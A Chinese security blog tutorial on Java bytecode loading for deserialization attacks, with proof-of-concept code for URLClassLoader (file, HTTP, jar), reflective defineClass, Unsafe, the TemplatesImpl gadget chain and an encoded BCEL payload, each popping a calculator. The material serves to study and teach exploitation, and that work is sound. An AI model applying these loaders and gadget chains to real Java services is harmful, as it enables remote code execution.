博客地址 https://drun1baby.github.io/
Java反序列化之字节码二三事
0x01 字节码的概念
什么是字节码?
严格来说,Java 字节码(ByteCode)其实仅仅指的是 Java 虚拟机执行使用的一类指令,通常被存储在 .class 文件中。
我个人很喜欢把它比作 Dockerfile 里面,执行命令的一些代码,例如entrypoint
这种。
而字节码的诞生是为了让 JVM 的流通性更强,这是什么意思呢?看图便知。
下面我们介绍多种能够用于反序列化攻击的,加载字节码的类加载器。Java 动态字节码的一些用法。
0x02 动态加载字节码
在说动态加载字节码之前,先明确一下何为字节码。
1. 利用 URLClassLoader 加载远程 class 文件
URLClassLoader
实际上是我们平时默认使用的AppClassLoader
的父类,所以,我们解释URLClassLoader
的工作过程实际上就是在解释默认的Java
类加载器的工作流程。
正常情况下,Java会根据配置项sun.boot.class.path
和java.class.path
中列举到的基础路径(这些路径是经过处理后的java.net.URL
类)来寻找.class文件来加载,而这个基础路径有分为三种情况:
①:URL未以斜杠 / 结尾,则认为是一个JAR文件,使用JarLoader
来寻找类,即为在Jar包中寻找.class文件
②:URL以斜杠 / 结尾,且协议名是file
,则使用FileLoader
来寻找类,即为在本地文件系统中寻找.class文件
③:URL以斜杠 / 结尾,且协议名不是file
,则使用最基础的Loader
来寻找类。
我们一个个看
file 协议
我们在目录下新建一个 Calc.java 的文件。
package src;
import java.io.IOException;
// URLClassLoader 的 file 协议
public class Calc {
static {
try {
Runtime.getRuntime().exec("calc");
} catch (IOException e){
e.printStackTrace();
}
}
}
接着,点小锤子编译一下,我们会在 out 的 src 文件夹下发现编译过的 .class 文件。接着,我们进行一下复制的操作,将其复制到 E 盘。
接着,我们编写 URLClassLoader 的启动类
package src.DynamicClassLoader.URLClassLoader;
import java.net.URL;
import java.net.URLClassLoader;
// URLClassLoader 的 file 协议
public class FileRce {
public static void main(String[] args) throws Exception {
URLClassLoader urlClassLoader = new URLClassLoader
(new URL[]{new URL("file:///E:\\")});
Class calc = urlClassLoader.loadClass("src.DynamicClassLoader.URLClassLoader.Calc");
calc.newInstance();
}
}
成功弹出了计算器
HTTP 协议
在Calc.class
文件目录下执行python3 -m http.server 9999
,起一个 http 服务。我这里是 E 盘根目录,就在 E 盘起。
接着,我们编写恶意利用类
package src.DynamicClassLoader.URLClassLoader;
import java.net.URL;
import java.net.URLClassLoader;
// URLClassLoader 的 HTTP 协议
public class HTTPRce {
public static void main(String[] args) throws Exception{
URLClassLoader urlClassLoader = new URLClassLoader(new URL[]{new URL("http://127.0.0.1:9999")});
Class calc = urlClassLoader.loadClass("src.DynamicClassLoader.URLClassLoader.Calc");
calc.newInstance();
}
}
file+jar 协议
先将我们之前的 class 文件打包一下,打包为 jar 文件。
去到源 .class 文件下,别去复制的地方,运行命令
jar -cvf Calc.jar Clac.class
接着,我们修改启动器,调用恶意类
package src.DynamicClassLoader.URLClassLoader;
import java.net.URL;
import java.net.URLClassLoader;
// URLClassLoader 的 file + jarpublic class JarRce {
public static void main(String[] args) throws Exception{
URLClassLoader urlClassLoader = new URLClassLoader(new URL[]{new URL("jar:file:///E:\\Calc.jar!/")});
Class calc = urlClassLoader.loadClass("src.DynamicClassLoader.URLClassLoader.Calc");
calc.newInstance();
}
}
HTTP + jar 协议
package src.DynamicClassLoader.URLClassLoader;
import java.net.URL;
import java.net.URLClassLoader;
// URLClassLoader 的 HTTP + jarpublic class HTTPJarRce {
public static void main(String[] args) throws Exception{
URLClassLoader urlClassLoader = new URLClassLoader(new URL[]{new URL("jar:http://127.0.0.1:9999/Calc.jar!/")});
Class calc = urlClassLoader.loadClass("src.DynamicClassLoader.URLClassLoader.Calc");
calc.newInstance();
}
}
成功弹出计算器
最灵活的肯定是 http 协议的加载
2. 利用 ClassLoader#defineClass 直接加载字节码
不管是加载远程 class 文件,还是本地的 class 或 jar 文件,Java 都经历的是下面这三个方法调用。
从前面的分析可知:
loadClass()
的作用是从已加载的类、父加载器位置寻找类(即双亲委派机制),在前面没有找到的情况下,调用当前ClassLoader的findClass()
方法;findClass()
根据URL指定的方式来加载类的字节码,其中会调用defineClass()
;defineClass
的作用是处理前面传入的字节码,将其处理成真正的 Java 类
所以可见,真正核心的部分其实是 defineClass ,他决定了如何将一段字节流转变成一个Java类,Java
默认的ClassLoader#defineClass
是一个 native 方法,逻辑在 JVM 的C语言代码中。
我们跟进 ClassLoader 当中,去看一看DefineClass
是怎么被调用的。
解释一下defineClass
name
为类名,b
为字节码数组,off
为偏移量,len
为字节码数组的长度。
因为系统的 ClassLoader#defineClass 是一个保护属性,所以我们无法直接在外部访问。因此可以反射调用defineClass()
方法进行字节码的加载,然后实例化之后即可弹 shell
我们编写如下代码
package src.DynamicClassLoader.DefineClass;
import java.lang.reflect.Method;
import java.nio.file.Files;
import java.nio.file.Paths;
// 利用 ClassLoader#defineClass 直接加载字节码
public class DefineClassRce {
public static void main(String[] args) throws Exception{
ClassLoader classLoader = ClassLoader.getSystemClassLoader();
Method method = ClassLoader.class.getDeclaredMethod("defineClass", String.class, byte[].class, int.class, int.class);
method.setAccessible(true);
byte[] code = Files.readAllBytes(Paths.get("E:\\Calc.class")); // 字节码的数组
Class c = (Class) method.invoke(classLoader, "src.Calc", code, 0, code.length);
c.newInstance();
}
}
成功弹出计算器,如果报错的话,看一看 invoke 方法调用时的 "Calc" 位置是否正确。
使用ClassLoader#defineClass
直接加载字节码有个优点就是不需要出网也可以加载字节码,但是它也是有缺点的,就是需要设置m.setAccessible(true);
,这在平常的反射中是无法调用的。
在实际场景中,因为defineClass
方法作用域是不开放的,所以攻击者很少能直接利用到它,但它却是我们常用的一个攻击链TemplatesImpl
的基石。
3. Unsafe 加载字节码
Unsafe中也存在
defineClass()
方法,本质上也是defineClass
加载字节码的方式。
跟进去看一看Unsafe
的defineClass()
方法
这里的Unsafe
方法,是采用单例模式进行设计的,所以虽然是 public 方法,但无法直接调用,因为我们用反射来调用它。
package src.DynamicClassLoader.UnsafeClassLoader;
import sun.misc.Unsafe;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.security.ProtectionDomain;
public class UnsafeClassLoaderRce {
public static void main(String[] args) throws Exception{
ClassLoader classLoader = ClassLoader.getSystemClassLoader();
Class<Unsafe> unsafeClass = Unsafe.class;
Field unsafeField = unsafeClass.getDeclaredField("theUnsafe");
unsafeField.setAccessible(true);
Unsafe classUnsafe = (Unsafe) unsafeField.get(null);
Method defineClassMethod = unsafeClass.getMethod("defineClass", String.class, byte[].class,
int.class, int.class, ClassLoader.class, ProtectionDomain.class);
byte[] code = Files.readAllBytes(Paths.get("E:\\Calc.class"));
Class calc = (Class) defineClassMethod.invoke(classUnsafe, "src.Calc", code, 0, code.length, classLoader, null);
calc.newInstance();
}
}
4. TemplatesImpl 加载字节码
我们先跟进 TemplatesImpl 这个包中看 TemplatesImpl 的结构图
可以看到在TemplatesImpl
类中还有一个内部类TransletClassLoader
,这个类是继承ClassLoader
,并且重写了defineClass
方法。
简单来说,这里的
defineClass
由其父类的 protected 类型变成了一个 default 类型的方法,可以被类外部调用。
我们从TransletClassLoader#defineClass()
向前追溯一下调用链:
TemplatesImpl#getOutputProperties() -> TemplatesImpl#newTransformer() ->
TemplatesImpl#getTransletInstance() -> TemplatesImpl#defineTransletClasses()
-> TransletClassLoader#defineClass()
追到最前面两个方法TemplatesImpl#getOutputProperties()
和TemplatesImpl#newTransformer()
,这两者的作用域是public,可以被外部调用。
我们尝试用TemplatesImpl#newTransformer()
构造一个简单的 POC
首先先构造字节码,注意,这里的字节码必须继承AbstractTranslet
,因为继承了这一抽象类,所以必须要重写一下里面的方法。
package src.DynamicClassLoader.TemplatesImplClassLoader;
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import java.io.IOException;
// TemplatesImpl 的字节码构造
public class TemplatesBytes extends AbstractTranslet {
public void transform(DOM dom, SerializationHandler[] handlers) throws TransletException{}
public void transform(DOM dom, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException{}
public TemplatesBytes() throws IOException{
super();
Runtime.getRuntime().exec("Calc");
}
}
字节码这里的编写比较容易,我就一笔带过了,接下来我们重点关注 POC 是如何编写出来的。
因为是一整条链子,参考最开始我们讲的 URLDNS 链,我们需要设置其一些属性值,从而让我们的链子传递下去。我这里先把 POC 挂出来,结合着讲。
package src.DynamicClassLoader.TemplatesImplClassLoader;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
// 主程序
public class TemplatesRce {
public static void main(String[] args) throws Exception{
byte[] code = Files.readAllBytes(Paths.get("E:\\JavaClass\\TemplatesBytes.class"));
TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates, "_name", "Calc");
setFieldValue(templates, "_bytecodes", new byte[][] {code});
setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
templates.newTransformer();
}
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception{
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
}
我们定义了一个设置私有属性的方法,命名为setFieldValue
,根据我们的链子,一个个看。
TemplatesImpl#getOutputProperties() ->
TemplatesImpl#newTransformer() ->
TemplatesImpl#getTransletInstance() ->
TemplatesImpl#defineTransletClasses() ->
TransletClassLoader#defineClass()
主要是三个私有类的属性
setFieldValue(templates, "_name", "Calc");
显然,_name
不能为 null,我们才能进入链子的下一部分。
链子的下一部分为defineTransletClasses
,我们跟进去。
_tfactory
需要是一个TransformerFactoryImpl
对象,因为TemplatesImpl#defineTransletClasses()
方法里有调用到_tfactory.getExternalExtensionsMap()
,如果是 null 会出错。
弹计算器成功
5. 利用 BCEL ClassLoader 加载字节码
什么是 BCEL?
BCEL 的全名应该是 Apache Commons BCEL,属于Apache Commons项目下的一个子项目,但其因为被 Apache Xalan 所使用,而 Apache Xalan 又是 Java 内部对于 JAXP 的实现,所以 BCEL 也被包含在了 JDK 的原生库中。
我们可以通过 BCEL 提供的两个类Repository
和Utility
来利用:Repository
用于将一个Java Class 先转换成原生字节码,当然这里也可以直接使用javac命令来编译 java 文件生成字节码;Utility
用于将原生的字节码转换成BCEL格式的字节码:
我们还是用之前写过的Calc.java
这个类。
package src.DynamicClassLoader.URLClassLoader;
import java.io.IOException;
public class Calc {
static {
try {
Runtime.getRuntime().exec("calc");
} catch (IOException e){
e.printStackTrace();
}
}
}
这样子的代码是可以成功弹计算器了,但是我们发现有一堆乱码,处理一下。
这一堆特殊的代码,BCEL ClassLoader 正是用于加载这串特殊的“字节码”,并可以执行其中的代码。我们修改一下 POC
注意这里的 ClassLoader 包不要导错了。
package src.DynamicClassLoader.BCELClassLoader;
import com.sun.org.apache.bcel.internal.util.ClassLoader;
// 修改过滤乱码
public class BCELSuccessRce {
public static void main(String[] args) throws Exception{
new ClassLoader().loadClass("$$BCEL$$" + "$l$8b$I$A$A$A$A$A$A$A$8dQMO$db$40$Q$7d$9b8$b1c$i$C$81$f0$d1$PhK$81$QU$f5$a57$Q$97$ARU$D$V$Bz$de$y$ab$b0$d4$b1$p$7b$83$e0$X$f5$cc$85$o$O$fd$B$fc$u$c4$ecBi$a4$f6PK$9e$f1$7b3$f3$e6$ad$f7$ee$fe$f6$X$80OX$f1$e1a$d6$c7$i$e6$3d$bc0$f9$a5$8bW$3eJx$edb$c1$c5$oCyC$rJo2$U$9bk$c7$MN$3b$3d$91$M$b5H$rro$d8$ef$ca$ec$90wcb$eaQ$wx$7c$cc3e$f0$T$e9$e8S$953$7c$88$f2L$84$5b$97$J$ef$x$d1$8ey$9eG$v$3f$91Yxt$Q$8d$c26$8f$c5$3a$83$b7$n$e2$a7$a5$8cD$g$d1$Z$3f$e7$a1J$c3$cf$fb$db$XB$O$b4J$Tj$abv4$X$dfw$f9$c0$$$p$df$M$7e$t$jfB$ee$u$b3$bcb$e4$3e$9a$d9$A$V$f8$$$de$Ex$8bw$e4$8a$8c$8a$AKx$cf0$f5$P$ed$A$cb$f0$ZZ$ffo$9aa$c2$ea$c4$3c$e9$85$fb$dd3$v4$c3$e4$l$ea$60$98h$d5$tO$7eO$eag$d0h$aeE$7f$f5$d0$c1$iy$nIr$b59R$ed$e8L$r$bd$f5$d1$81$afY$wd$9e$d3$40m$40Em$7f$c7a$c6$85$a4c$bat$b1$e6$v$80$99$c3S$i$p$URf$94K$ad$9f$60W$b6$iP$y$5b$b2$8c$w$c5$e0$b1$B$e3$a8Q$f60$f1$3c$cc$ad$YP$bfA$a1$5e$bc$86$f3$ed$H$bc$_$adk$94$af$y_$a1$d9$S$8aVq$86$be$Mc$b8$80$U$aa$a40I$f1$f7$86$w$i$c2uBS$f4$ba$uD$$$a6$j$w4$ac$a9$99$H$X$f0$df$84$a2$C$A$A").newInstance();
}
}
那么为什么要在前面加上$$BCEL$$
呢?这里引用一下p神的解释
BCEL 这个包中有个有趣的类
com.sun.org.apache.bcel.internal.util.ClassLoader
,他是一个 ClassLoader,但是他重写了 Java 内置的ClassLoader#loadClass()
方法。
在ClassLoader#loadClass()
中,其会判断类名是否是$$BCEL$$
开头,如果是的话,将会对这个字符串进行 decode
0x03 关于字节码的小结
首先我们要知道字节码与安全有什么关系,不是照着敲几行代码,看到弹出计算器就是可以的了,我们需要去分析原因,不然和安全研究没有半毛钱关系。
我们要最终达到的目的其实是加载 class 文件,也就是字节码文件。
所以我们所做的一系列工作都是为了能够调用这些 class,只有完成了这一步,才能继续我们的链子。